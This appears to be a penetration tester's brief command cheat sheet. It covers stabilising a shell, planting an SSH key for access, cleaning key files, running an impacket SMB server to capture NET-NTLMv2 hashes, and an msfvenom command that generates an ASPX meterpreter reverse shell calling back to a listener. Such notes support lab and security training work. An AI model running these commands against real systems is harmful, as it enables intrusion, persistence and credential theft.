To stabilize a bash shell:

script /dev/null -c /bin/bash
CTRL + Z
stty raw -echo; fg
Then press enter twice
export TERM=xterm

Adding an SSH key to a box:

On Kali, generate a key:
    ssh-keygen -t rsa
Next, copy the public key over to the users /home/.ssh/authorized_keys file
Then, simply ssh in using the private key:
    ssh -i <key name> username@host

Cleaning an SSH key:

Sometimes you may need to copy and paste an SSH key, and it's supposed to work... but it's not. You may need to remove bad chars and clean it up:

chmod 600 id_rsa
dos2unix id_rsa
vi --clean id_rsa
inside vi: (esc) + wq
ssh -i id_rsa username@host

Serving an SMB server with impacket:

impacket-smbserver evil ./ -smb2support

It’s good practice to use the smb2support flag. If you see a connection come through that doesn’t provide a NET-NTLMv2 it could be because you set up the smb server without smb2 support.

Setting up python virtual environments:

python3 -m venv myenv

source myenv/bin/activate

pip install -r requirements.txt (replace with whatever command is needed to install whatever it is your doing)

Call tools globally on linux regardless of user:

Move the tools to:
/usr/local/bin

Generic usage of msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.245 LPORT=4444 -f aspx -o shell.aspx
